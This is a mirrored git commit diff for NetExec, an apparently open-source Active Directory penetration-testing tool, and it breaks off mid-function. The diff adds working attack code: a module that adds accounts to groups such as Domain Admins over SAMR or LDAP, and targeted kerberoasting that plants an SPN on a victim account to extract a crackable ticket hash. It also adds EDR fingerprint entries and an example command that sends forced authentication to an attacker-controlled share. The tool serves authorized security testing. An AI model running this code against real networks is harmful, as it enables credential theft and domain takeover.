mirror of
https://github.com/Pennyw0rth/NetExec.git
synced 2026-11-07 09:26:01 -10:00
Merge branch 'main' into feat/add-rpc-class
This commit is contained in:
26 files changed
+652
-244
No files matched your search
@@ -1,7 +1,7 @@
|
||||
name: PR Template Check
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
pull_request_target:
|
||||
types: [opened, edited]
|
||||
|
||||
permissions:
|
||||
|
||||
+7
-6
@@ -21,12 +21,13 @@ The NetExec project has strict rules for AI usage:
|
||||
code for platforms or environments you don't have access to manually
|
||||
test on.
|
||||
|
||||
- **Issues and discussions can use AI assistance but must have a full
|
||||
human-in-the-loop.** This means that any content generated with AI
|
||||
must have been reviewed _and edited_ by a human before submission.
|
||||
AI is very good at being overly verbose and including noise that
|
||||
distracts from the main point. Humans must do their research and
|
||||
trim this down.
|
||||
- **Issues and pull requests should be written by humans.**
|
||||
Communication should remain human, not AI, and should be clear and concise.
|
||||
AI is very good at being overly verbose and including noise that distracts
|
||||
from the main point. While it is fine to cite AI or include AI-generated
|
||||
content, the main content of your issue or pull request should be written
|
||||
by a human. Issues or pull requests that look like they are just the
|
||||
result of an AI prompt will likely be rejected and closed.
|
||||
|
||||
- **No AI-generated media is allowed (art, images, videos, audio, etc.).**
|
||||
Text and code are the only acceptable AI-generated content, per the
|
||||
|
||||
@@ -19,6 +19,7 @@ a = Analysis(
|
||||
'aardwolf.commons.iosettings',
|
||||
'aardwolf.commons.target',
|
||||
'aardwolf.protocol.x224.constants',
|
||||
'certihound',
|
||||
'certipy.commands.find',
|
||||
'certipy.lib.formatting',
|
||||
'certipy.lib.target',
|
||||
|
||||
+4
-4
@@ -139,6 +139,7 @@ class connection:
|
||||
self.conn = None
|
||||
self.output_file_template = None
|
||||
self.output_filename = None
|
||||
self.protocol = args.protocol
|
||||
|
||||
# Authentication info
|
||||
self.password = ""
|
||||
@@ -254,13 +255,12 @@ class connection:
|
||||
|
||||
self.print_host_info()
|
||||
if self.login() or (self.username == "" and self.password == ""):
|
||||
if hasattr(self.args, "module") and self.args.module:
|
||||
self.logger.debug("Calling command arguments")
|
||||
self.call_cmd_args()
|
||||
if self.args.module:
|
||||
self.load_modules()
|
||||
self.logger.debug("Calling modules")
|
||||
self.call_modules()
|
||||
else:
|
||||
self.logger.debug("Calling command arguments")
|
||||
self.call_cmd_args()
|
||||
self.disconnect()
|
||||
|
||||
def call_cmd_args(self):
|
||||
|
||||
@@ -226,6 +226,18 @@ def convert(low, high, lockout=False):
|
||||
return time
|
||||
|
||||
|
||||
def parse_argument(argument: list) -> list:
|
||||
"""Parse input from an argparse argument, which can be either a value or a file containing values."""
|
||||
parsed_items = []
|
||||
for item in argument:
|
||||
if os.path.isfile(item):
|
||||
with open(item) as f:
|
||||
parsed_items.extend(line.strip() for line in f if line.strip())
|
||||
else:
|
||||
parsed_items.append(item.strip())
|
||||
return parsed_items
|
||||
|
||||
|
||||
def display_modules(args, modules):
|
||||
for category, color in {CATEGORY.ENUMERATION: "green", CATEGORY.CREDENTIAL_DUMPING: "cyan", CATEGORY.PRIVILEGE_ESCALATION: "magenta"}.items():
|
||||
# Add category filter for module listing
|
||||
|
||||
@@ -17,14 +17,14 @@ class NXCModule:
|
||||
"""
|
||||
|
||||
name = "add-computer"
|
||||
description = "Adds or deletes a domain computer via SAMR (SMB) or LDAPS"
|
||||
description = "Adds or deletes a domain computer via SAMR (SMB) or LDAP"
|
||||
supported_protocols = ["smb", "ldap"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
add-computer: Adds, deletes, or changes the password of a domain computer account.
|
||||
Uses SAMR when invoked with nxc smb, LDAPS when invoked with nxc ldap.
|
||||
Uses SAMR when invoked with nxc smb.
|
||||
|
||||
NAME Computer name (required). Trailing '$' is added automatically.
|
||||
PASSWORD Computer password (required for add/changepw).
|
||||
@@ -189,7 +189,7 @@ class NXCModule:
|
||||
request["Name"] = self.computer_name
|
||||
request["AccountType"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
|
||||
request["DesiredAccess"] = samr.USER_FORCE_PASSWORD_CHANGE
|
||||
return dce.request(request)
|
||||
return dce.request(request)["UserHandle"]
|
||||
except samr.DCERPCSessionError as e:
|
||||
if "STATUS_USER_EXISTS" in str(e):
|
||||
self.context.log.fail(f"Computer '{self.computer_name}' already exists")
|
||||
|
||||
@@ -205,6 +205,13 @@ conf = {
|
||||
{"name": "CybereasonAPServerProxyIpc_*", "processes": ["minionhost.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Cynet",
|
||||
"services": [
|
||||
{"name": "CynetLauncher", "description": "CynetLauncher"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Elastic EDR",
|
||||
"services": [
|
||||
@@ -418,6 +425,13 @@ conf = {
|
||||
{"name": "OIPC_NTRTSCAN_PIPE_*", "processes": ["Ntrtscan.exe"]}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Wazuh",
|
||||
"services": [
|
||||
{"name": "WazuhSvc", "description": "Wazuh Windows Agent"}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Windows Defender",
|
||||
"services": [
|
||||
|
||||
+19
-5
@@ -33,6 +33,7 @@ class NXCModule:
|
||||
- CVE-2025-58726 (Ghost SPN)
|
||||
- CVE-2025-54918 (NTLM MIC Bypass)
|
||||
- CVE-2025-53779 (BadSuccessor)
|
||||
- CVE-2024-49019 (EKUwu / ESC15)
|
||||
|
||||
CVE Filter for specific CVE number (default: All)
|
||||
EXPLOITATION Also provide sources for exploitation details (default: False)
|
||||
@@ -103,10 +104,6 @@ class NXCModule:
|
||||
"CVE-2025-33073": {
|
||||
"alias": "NTLM reflection",
|
||||
"patches": {
|
||||
(6, 0, 6003): 23351, # Windows Server 2008 SP2
|
||||
(6, 1, 7601): 27769, # Windows Server 2008 R2 SP1
|
||||
(6, 2, 9200): 25522, # Windows Server 2012
|
||||
(6, 3, 9600): 22620, # Windows Server 2012 R2
|
||||
(10, 0, 10240): 21034, # Windows 10 1507
|
||||
(10, 0, 14393): 8148, # Windows Server 2016 / Win10 1607
|
||||
(10, 0, 17763): 7434, # Windows Server 2019 / Win10 1809
|
||||
@@ -174,5 +171,22 @@ class NXCModule:
|
||||
},
|
||||
"message": "Escalation to Domain Admin possible via dMSA Kerberos abuse",
|
||||
"exploitation": "https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory",
|
||||
}
|
||||
},
|
||||
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49019
|
||||
"CVE-2024-49019": {
|
||||
"alias": "ESC15 / EKUwu",
|
||||
"patches": {
|
||||
(6, 0, 6003): 22966, # Windows Server 2008 SP2
|
||||
(6, 1, 7601): 27415, # Windows Server 2008 R2 SP1
|
||||
(6, 2, 9200): 25165, # Windows Server 2012
|
||||
(6, 3, 9600): 22267, # Windows Server 2012 R2
|
||||
(10, 0, 14393): 7515, # Windows Server 2016
|
||||
(10, 0, 17763): 6532, # Windows Server 2019 / Win10 1809
|
||||
(10, 0, 20348): 2849, # Windows Server 2022
|
||||
(10, 0, 25398): 1251, # Windows Server 2022 23H2
|
||||
(10, 0, 26100): 2314, # Windows Server 2025 / Win11 24H2
|
||||
},
|
||||
"message": "If host is an AD CS / CA server, it may be vulnerable to ESC15",
|
||||
"exploitation": "https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc",
|
||||
},
|
||||
}
|
||||
@@ -0,0 +1,195 @@
|
||||
import contextlib
|
||||
import sys
|
||||
from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE
|
||||
from impacket.dcerpc.v5 import samr, epm, transport
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module for adding/removing users to/from groups
|
||||
Module by @termanix
|
||||
"""
|
||||
|
||||
name = "modify-group"
|
||||
description = "Modify the group membership of users and computers"
|
||||
supported_protocols = ["smb", "ldap"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Required (at least one of):
|
||||
GROUP Name of the group to add/remove the user to/from
|
||||
USER Username of the account to modify
|
||||
|
||||
Optional:
|
||||
REMOVE Set to 'True' to remove the user from the specified group instead of adding (default: False)
|
||||
|
||||
Examples
|
||||
--------
|
||||
Adding a user to a group:
|
||||
netexec smb <DC_IP> -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Domain Admins'
|
||||
netexec ldap <DC_IP> -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Enterprise Admins'
|
||||
|
||||
Removing a user from a group:
|
||||
netexec smb <DC_IP> -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Domain Admins' REMOVE=True
|
||||
netexec ldap <DC_IP> -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Enterprise Admins' REMOVE=True
|
||||
|
||||
SMB/SAMR KNOWN LIMITATIONS:
|
||||
- SAMR only supports modification of Global security groups.
|
||||
Domain Local and Universal groups require the LDAP protocol.
|
||||
- Cross-domain groups (e.g. Enterprise Admins) cannot be modified via SAMR.
|
||||
Use LDAP instead.
|
||||
|
||||
"""
|
||||
self.group = module_options.get("GROUP")
|
||||
self.target_user = module_options.get("USER")
|
||||
self.remove = module_options.get("REMOVE", "False").lower() == "true"
|
||||
|
||||
if not (self.target_user and self.group):
|
||||
context.log.fail("USER and GROUP parameters are required!")
|
||||
sys.exit(1)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
if context.protocol == "smb":
|
||||
self._modify_group_smb()
|
||||
elif context.protocol == "ldap" and self.group:
|
||||
self._modify_group_ldap()
|
||||
|
||||
def _authenticate_dce(self, protocol="ncacn_np", interface=samr.MSRPC_UUID_SAMR):
|
||||
"""Authenticate to the target using DCE/RPC"""
|
||||
try:
|
||||
# Map to the endpoint on the target
|
||||
string_binding = epm.hept_map(self.connection.host, interface, protocol=protocol)
|
||||
rpctransport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpctransport.setRemoteHost(self.connection.host)
|
||||
rpctransport.set_credentials(
|
||||
self.connection.username,
|
||||
self.connection.password,
|
||||
self.connection.domain,
|
||||
self.connection.lmhash,
|
||||
self.connection.nthash,
|
||||
aesKey=self.connection.aesKey,
|
||||
)
|
||||
self.context.log.info(f"Connecting as {self.connection.domain}\\{self.connection.username}")
|
||||
|
||||
# Connect to the DCE/RPC endpoint and bind to the service
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.connect()
|
||||
self.context.log.info("Successfully connected to DCE/RPC")
|
||||
dce.bind(interface)
|
||||
self.context.log.info(f"Successfully bound to {interface}")
|
||||
return dce
|
||||
except DCERPCException as e:
|
||||
self.context.log.fail(f"DCE/RPC Exception: {e!s}")
|
||||
|
||||
def _modify_group_smb(self):
|
||||
"""Modify group membership using SMB/SAMR protocol"""
|
||||
dce = self._authenticate_dce()
|
||||
if not dce:
|
||||
return
|
||||
|
||||
# Get domain handle
|
||||
try:
|
||||
server_handle = samr.hSamrConnect(dce, self.connection.host + "\x00")["ServerHandle"]
|
||||
domain_sid = samr.hSamrLookupDomainInSamServer(dce, server_handle, self.connection.domain)["DomainId"]
|
||||
domain_handle = samr.hSamrOpenDomain(dce, server_handle, domainId=domain_sid)["DomainHandle"]
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Failed to connect to SAMR service: {e}")
|
||||
return
|
||||
|
||||
# Find the user RID
|
||||
try:
|
||||
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, (self.target_user,))["RelativeIds"]["Element"][0]
|
||||
except Exception as e:
|
||||
if "STATUS_NONE_MAPPED" in str(e):
|
||||
self.context.log.fail(f"Target user not found: {self.target_user}")
|
||||
else:
|
||||
self.context.log.fail(f"Failed to find user RID: {e}")
|
||||
return
|
||||
|
||||
# Find the group RID and open the group
|
||||
try:
|
||||
group_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, (self.group,))["RelativeIds"]["Element"][0]
|
||||
group_handle = samr.hSamrOpenGroup(dce, domain_handle, groupId=group_rid)["GroupHandle"]
|
||||
except Exception as e:
|
||||
if "STATUS_NONE_MAPPED" in str(e):
|
||||
self.context.log.fail(f"Target group not found: {self.group}")
|
||||
else:
|
||||
self.context.log.fail(f"Failed to find group: {e}")
|
||||
return
|
||||
|
||||
# Modify group membership
|
||||
if self.remove:
|
||||
try:
|
||||
samr.hSamrRemoveMemberFromGroup(dce, group_handle, user_rid)
|
||||
self.context.log.success(f"Successfully removed {self.target_user} from group {self.group}")
|
||||
except Exception as e:
|
||||
if "STATUS_MEMBER_NOT_IN_GROUP" in str(e):
|
||||
self.context.log.fail(f"User {self.target_user} is not a member of group {self.group}")
|
||||
else:
|
||||
self.context.log.fail(f"Failed to remove user from group via SMB: {e}")
|
||||
else:
|
||||
try:
|
||||
samr.hSamrAddMemberToGroup(dce, group_handle, user_rid, 0x7)
|
||||
self.context.log.success(f"Successfully added {self.target_user} to group {self.group}")
|
||||
except Exception as e:
|
||||
if "STATUS_MEMBER_IN_GROUP" in str(e):
|
||||
self.context.log.fail(f"User {self.target_user} is already a member of group {self.group}")
|
||||
else:
|
||||
self.context.log.fail(f"Failed to add user to group via SMB: {e}")
|
||||
|
||||
# Disconnect from DCE/RPC
|
||||
with contextlib.suppress(Exception):
|
||||
dce.disconnect()
|
||||
|
||||
def _modify_group_ldap(self):
|
||||
"""Modify group membership using LDAP protocol"""
|
||||
# Get the DN of the target user
|
||||
resp = self._find_object_dn(self.target_user)
|
||||
if not resp:
|
||||
self.context.log.fail(f"Target user not found: {self.target_user}")
|
||||
return
|
||||
else:
|
||||
target_user_dn = resp[0]["distinguishedName"]
|
||||
|
||||
# Get the DN of the target group
|
||||
resp = self._find_object_dn(self.group)
|
||||
if not resp:
|
||||
self.context.log.fail(f"Target group not found: {self.group}")
|
||||
return
|
||||
else:
|
||||
group_dn = resp[0]["distinguishedName"]
|
||||
|
||||
# Modify group membership
|
||||
if self.remove:
|
||||
try:
|
||||
self.connection.ldap_connection.modify(group_dn, {"member": [(MODIFY_DELETE, [target_user_dn])]})
|
||||
self.context.log.success(f"Successfully removed {self.target_user} from group {self.group}")
|
||||
except Exception as e:
|
||||
if "unwillingToPerform" in str(e):
|
||||
self.context.log.fail(f"User {self.target_user} is not a member of group {self.group}")
|
||||
else:
|
||||
self.context.log.fail(f"Failed to remove user from group via LDAP: {e}")
|
||||
else:
|
||||
try:
|
||||
self.connection.ldap_connection.modify(group_dn, {"member": [(MODIFY_ADD, [target_user_dn])]})
|
||||
self.context.log.success(f"Successfully added {self.target_user} to group {self.group}")
|
||||
except Exception as e:
|
||||
if "entryAlreadyExists" in str(e):
|
||||
self.context.log.fail(f"User {self.target_user} is already a member of group {self.group}")
|
||||
else:
|
||||
self.context.log.fail(f"Failed to add user to group via LDAP: {e}")
|
||||
|
||||
def _find_object_dn(self, value):
|
||||
"""Find the distinguished name (DN) of an object by sAMAccountName"""
|
||||
resp = self.connection.ldap_connection.search(
|
||||
searchFilter=f"(sAMAccountName={value})",
|
||||
attributes=["distinguishedName"]
|
||||
)
|
||||
return parse_result_attributes(resp)
|
||||
@@ -10,7 +10,7 @@ class NXCModule:
|
||||
# Modified by azoxlpf to handle BrokenPipe/transport errors gracefully
|
||||
# Modified by Defte following the discovery of ctjf (https://github.com/Pennyw0rth/NetExec/issues/928) and the research done along side with @NeffIsBack and I
|
||||
name = "ntlm_reflection"
|
||||
description = "Attempt to check if the OS is vulnerable to CVE-2025-33073 (NTLM Reflection attack)"
|
||||
description = "[REMOVED] This module has been integrated into the enum_cve module."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
+1
-1
@@ -8,7 +8,7 @@ class NXCModule:
|
||||
Module by @_sandw1ch
|
||||
"""
|
||||
name = "pso"
|
||||
description = "Module to get the Fine Grained Password Policy/PSOs"
|
||||
description = "[REMOVED] This module moved to the core option --pso"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
|
||||
@@ -44,7 +44,6 @@ class NXCModule:
|
||||
nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD='dir \\<attacker-ip>\pwn' TASK='Legit Task' SILENTCOMMAND='True'
|
||||
nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD=certreq CA='ADCS\whiteflag-ADCS-CA' TEMPLATE=User
|
||||
"""
|
||||
self.logger = context.log
|
||||
self.command_to_run = self.binary_to_upload = self.run_task_as = self.task_name = self.output_filename = self.output_file_location = self.time = self.ca_name = self.template_name = None
|
||||
self.share = "C$"
|
||||
self.output_file_location = "\\Windows\\Temp"
|
||||
@@ -71,6 +70,7 @@ class NXCModule:
|
||||
self.template_name = module_options.get("TEMPLATE")
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.logger = context.log
|
||||
|
||||
if self.command_to_run is None:
|
||||
self.logger.fail("You need to specify a CMD to run")
|
||||
|
||||
+1
-12
@@ -23,17 +23,6 @@ class ftp(connection):
|
||||
}
|
||||
)
|
||||
|
||||
def proto_flow(self):
|
||||
self.proto_logger()
|
||||
if self.create_conn_obj() and self.login():
|
||||
if hasattr(self.args, "module") and self.args.module:
|
||||
self.load_modules()
|
||||
self.logger.debug("Calling modules")
|
||||
self.call_modules()
|
||||
else:
|
||||
self.logger.debug("Calling command arguments")
|
||||
self.call_cmd_args()
|
||||
|
||||
def enum_host_info(self):
|
||||
welcome = self.conn.getwelcome()
|
||||
self.logger.debug(f"Welcome result: {welcome}")
|
||||
@@ -165,7 +154,7 @@ class ftp(connection):
|
||||
self.logger.fail(f"Failed to upload file. {local_file} does not exist locally.")
|
||||
return False
|
||||
# Check if the file was uploaded
|
||||
if self.conn.size(remote_file) > 0:
|
||||
if self.conn.size(remote_file) is not None:
|
||||
self.logger.success(f"Uploaded: {local_file} to {remote_file}")
|
||||
else:
|
||||
self.logger.fail(f"Failed to upload: {local_file} to {remote_file}")
|
||||
|
||||
+148
-127
@@ -14,7 +14,6 @@ from termcolor import colored
|
||||
from dns import resolver
|
||||
from dateutil.relativedelta import relativedelta as rd
|
||||
|
||||
from Cryptodome.Hash import MD4
|
||||
from OpenSSL.SSL import SysCallError
|
||||
from bloodhound.ad.authentication import ADAuthentication
|
||||
from bloodhound.ad.domain import AD
|
||||
@@ -28,20 +27,21 @@ from impacket.dcerpc.v5.samr import (
|
||||
SAM_MACHINE_ACCOUNT,
|
||||
)
|
||||
from impacket.krb5 import constants
|
||||
from impacket.krb5.crypto import generate_kerberos_keys
|
||||
from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.krb5.types import Principal, KerberosException
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from impacket.ldap import ldaptypes
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap.ldap import LDAPFilterSyntaxError
|
||||
from impacket.ldap.ldap import LDAPFilterSyntaxError, MODIFY_REPLACE
|
||||
from impacket.smbconnection import SessionError
|
||||
from impacket.ntlm import getNTLMSSPType1
|
||||
|
||||
from nxc.config import process_secret, host_info_colors
|
||||
from nxc.connection import connection
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.misc import get_bloodhound_info, convert, d2b
|
||||
from nxc.helpers.misc import get_bloodhound_info, convert, d2b, parse_argument
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.protocols.ldap.bloodhound import BloodHound, resolve_collection_methods
|
||||
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
|
||||
@@ -648,6 +648,10 @@ class ldap(connection):
|
||||
for item in resp_parsed:
|
||||
if item:
|
||||
self.admin_privs = True
|
||||
return
|
||||
|
||||
# If nothing matched we are not admin
|
||||
self.admin_privs = False
|
||||
|
||||
def getUnixTime(self, t):
|
||||
t -= 116444736000000000
|
||||
@@ -740,7 +744,7 @@ class ldap(connection):
|
||||
self.logger.debug(f"Dumping group: {self.args.groups}")
|
||||
|
||||
# Resolve group DN and primaryGroupID (objectSid)
|
||||
group_resp = self.search(f"(cn={self.args.groups})", ["distinguishedName", "objectSid"])
|
||||
group_resp = self.search(f"(&(cn={self.args.groups})(objectClass=group))", ["distinguishedName", "objectSid"])
|
||||
group_parsed = parse_result_attributes(group_resp)
|
||||
|
||||
if not group_parsed:
|
||||
@@ -768,7 +772,8 @@ class ldap(connection):
|
||||
else:
|
||||
for item in resp_parsed:
|
||||
# Display sAMAccountName or CN if sAMAccountName not present (could be a group)
|
||||
self.logger.highlight(item["sAMAccountName"] if "group" not in item["objectClass"] else item["cn"])
|
||||
# Fallback to cn should sAMAccountName not be present (e.g. Service Principal Names)
|
||||
self.logger.highlight(item.get("sAMAccountName", item["cn"]) if "group" not in item["objectClass"] else item["cn"])
|
||||
else:
|
||||
# Display all groups
|
||||
self.logger.highlight(f"{'-Group-':<40} {'-Members-':<9} {'-Description-':<60}")
|
||||
@@ -965,57 +970,15 @@ class ldap(connection):
|
||||
|
||||
def kerberoasting(self):
|
||||
if self.args.no_preauth_targets:
|
||||
usernames = []
|
||||
for item in self.args.no_preauth_targets:
|
||||
if os.path.isfile(item):
|
||||
with open(item, encoding="utf-8") as f:
|
||||
usernames.extend(line.strip() for line in f if line.strip())
|
||||
else:
|
||||
usernames.append(item.strip())
|
||||
|
||||
skipped = []
|
||||
hashes = []
|
||||
|
||||
for spn in usernames:
|
||||
base_name = spn.split("/", 1)[0].split("@", 1)[0].rstrip()
|
||||
|
||||
if base_name.lower() == "krbtgt" or base_name.endswith("$"):
|
||||
skipped.append(base_name)
|
||||
continue
|
||||
|
||||
if not self.username:
|
||||
self.logger.fail("Likely executed without password flag. Please run the command with -p ''")
|
||||
return
|
||||
hashline = KerberosAttacks(self).get_tgs_no_preauth(self.username, spn)
|
||||
if hashline:
|
||||
hashes.append(hashline)
|
||||
|
||||
if skipped:
|
||||
self.logger.display(f"Skipping account: {', '.join(skipped)}")
|
||||
if hashes:
|
||||
self.logger.display(f"Total of records returned {len(hashes)}")
|
||||
else:
|
||||
self.logger.highlight("No entries found!")
|
||||
|
||||
for line in hashes:
|
||||
self.logger.highlight(line)
|
||||
if self.args.kerberoasting:
|
||||
with open(self.args.kerberoasting, "a+", encoding="utf-8") as f:
|
||||
f.write(line + "\n")
|
||||
self.roast_no_preauth()
|
||||
return
|
||||
|
||||
if self.args.kerberoast_account:
|
||||
target_accounts = []
|
||||
for item in self.args.kerberoast_account:
|
||||
if os.path.isfile(item):
|
||||
try:
|
||||
with open(item, encoding="utf-8") as f:
|
||||
target_accounts.extend(line.strip() for line in f if line.strip())
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed to read file '{item}': {e}")
|
||||
else:
|
||||
target_accounts.append(item.strip())
|
||||
|
||||
if self.args.targeted_kerberoast:
|
||||
target_users = parse_argument(self.args.targeted_kerberoast)
|
||||
user_filter = "".join(f"(sAMAccountName={user})" for user in target_users)
|
||||
searchFilter = f"(&(objectCategory=person)(!(servicePrincipalName=*))(|{user_filter}))"
|
||||
elif self.args.kerberoast_account:
|
||||
target_accounts = parse_argument(self.args.kerberoast_account)
|
||||
self.logger.info(f"Targeting specific accounts for kerberoasting: {', '.join(target_accounts)}")
|
||||
|
||||
# build search filter for specific users
|
||||
@@ -1033,8 +996,10 @@ class ldap(connection):
|
||||
"pwdLastSet",
|
||||
"lastLogon",
|
||||
"objectClass",
|
||||
"distinguishedName",
|
||||
]
|
||||
resp = self.search(searchFilter, attributes, 0)
|
||||
|
||||
resp = self.search(searchFilter, attributes)
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
self.logger.debug(f"Search Filter: {searchFilter}")
|
||||
self.logger.debug(f"Attributes: {attributes}")
|
||||
@@ -1042,26 +1007,43 @@ class ldap(connection):
|
||||
|
||||
if not resp_parsed:
|
||||
self.logger.highlight("No entries found!")
|
||||
else:
|
||||
# Filter disabled accounts
|
||||
disabled_accounts = [x for x in resp_parsed if int(x["userAccountControl"]) & UF_ACCOUNTDISABLE]
|
||||
for account in disabled_accounts:
|
||||
self.logger.display(f"Skipping disabled account: {account['sAMAccountName']}")
|
||||
return
|
||||
|
||||
# Get all enabled accounts
|
||||
enabled = [x for x in resp_parsed if not int(x["userAccountControl"]) & UF_ACCOUNTDISABLE]
|
||||
disabled_accounts = [x for x in resp_parsed if int(x["userAccountControl"]) & UF_ACCOUNTDISABLE]
|
||||
for account in disabled_accounts:
|
||||
self.logger.display(f"Skipping disabled account: {account['sAMAccountName']}")
|
||||
|
||||
enabled = [x for x in resp_parsed if not int(x["userAccountControl"]) & UF_ACCOUNTDISABLE]
|
||||
|
||||
if self.args.targeted_kerberoast:
|
||||
self.logger.success(f"Found {len(enabled)} enabled users without SPN.")
|
||||
else:
|
||||
self.logger.display(f"Total of records returned {len(enabled):d}")
|
||||
|
||||
for user in enabled:
|
||||
# Perform Kerberos Attack
|
||||
for user in enabled:
|
||||
spn_added = False
|
||||
|
||||
if self.args.targeted_kerberoast:
|
||||
try:
|
||||
self.ldap_connection.modify(user["distinguishedName"], {"servicePrincipalName": [(MODIFY_REPLACE, [f"cifs/{user['sAMAccountName']}"])]})
|
||||
self.logger.debug(f"SPN 'cifs/{user['sAMAccountName']}' added for {user['sAMAccountName']}")
|
||||
spn_added = True
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
if "insufficientAccessRights" in str(e) or "INSUFF_ACCESS_RIGHTS" in str(e):
|
||||
self.logger.fail(f"No write access to {user['sAMAccountName']}'s SPN attribute")
|
||||
else:
|
||||
self.logger.fail(f"LDAP error for {user['sAMAccountName']}: {e}")
|
||||
self.logger.debug("Traceback", exc_info=True)
|
||||
continue
|
||||
|
||||
try:
|
||||
TGT = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache)
|
||||
self.logger.debug(f"TGT: {TGT}")
|
||||
if TGT:
|
||||
downLevelLogonName = f"{self.targetDomain}\\{user['sAMAccountName']}"
|
||||
try:
|
||||
principalName = Principal()
|
||||
principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value
|
||||
principalName.components = [downLevelLogonName]
|
||||
principalName.components = [f"{self.targetDomain}\\{user['sAMAccountName']}"]
|
||||
|
||||
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
|
||||
principalName,
|
||||
@@ -1076,22 +1058,61 @@ class ldap(connection):
|
||||
oldSessionKey,
|
||||
sessionKey,
|
||||
user["sAMAccountName"],
|
||||
downLevelLogonName,
|
||||
f"{self.targetDomain}\\{user['sAMAccountName']}",
|
||||
is_computer="computer" in user.get("objectClass", [])
|
||||
)
|
||||
|
||||
pwdLastSet = "<never>" if str(user.get("pwdLastSet", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["pwdLastSet"]))))
|
||||
lastLogon = "<never>" if str(user.get("lastLogon", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["lastLogon"]))))
|
||||
self.logger.display(f"sAMAccountName: {user['sAMAccountName']}, memberOf: {user.get('memberOf', [])}, pwdLastSet: {pwdLastSet}, lastLogon: {lastLogon}")
|
||||
self.logger.highlight(f"{out}")
|
||||
self.logger.highlight(out)
|
||||
if self.args.kerberoasting:
|
||||
with open(self.args.kerberoasting, "a+") as hash_kerberoasting:
|
||||
hash_kerberoasting.write(out + "\n")
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Exception: {e}", exc_info=True)
|
||||
self.logger.fail(f"Principal: {downLevelLogonName} - {e}")
|
||||
self.logger.fail(f"Principal: {self.targetDomain}\\{user['sAMAccountName']} - {e}")
|
||||
else:
|
||||
self.logger.fail(f"Error retrieving TGT for {self.domain}\\{self.username} from {self.kdcHost}")
|
||||
finally:
|
||||
if spn_added:
|
||||
try:
|
||||
self.ldap_connection.modify(user["distinguishedName"], {"servicePrincipalName": [(MODIFY_REPLACE, [])]})
|
||||
self.logger.debug(f"SPN removed for {user['sAMAccountName']}")
|
||||
except Exception as cleanup_error:
|
||||
self.logger.fail(f"Failed to remove SPN for {user['sAMAccountName']}: {cleanup_error}")
|
||||
|
||||
def roast_no_preauth(self):
|
||||
usernames = parse_argument(self.args.no_preauth_targets)
|
||||
|
||||
skipped = []
|
||||
hashes = []
|
||||
|
||||
for spn in usernames:
|
||||
base_name = spn.split("/", 1)[0].split("@", 1)[0].rstrip()
|
||||
|
||||
if base_name.lower() == "krbtgt" or base_name.endswith("$"):
|
||||
skipped.append(base_name)
|
||||
continue
|
||||
|
||||
if not self.username:
|
||||
self.logger.fail("Likely executed without password flag. Please run the command with -p ''")
|
||||
return
|
||||
hashline = KerberosAttacks(self).get_tgs_no_preauth(self.username, spn)
|
||||
if hashline:
|
||||
hashes.append(hashline)
|
||||
|
||||
if skipped:
|
||||
self.logger.display(f"Skipping account: {', '.join(skipped)}")
|
||||
if hashes:
|
||||
self.logger.display(f"Total of records returned {len(hashes)}")
|
||||
else:
|
||||
self.logger.highlight("No entries found!")
|
||||
|
||||
for line in hashes:
|
||||
self.logger.highlight(line)
|
||||
with open(self.args.kerberoasting, "a+") as f:
|
||||
f.write(line + "\n")
|
||||
|
||||
def query(self):
|
||||
"""
|
||||
@@ -1308,16 +1329,26 @@ class ldap(connection):
|
||||
principal_with_read = resp_parsed[0]["sAMAccountName"]
|
||||
|
||||
# Get the password
|
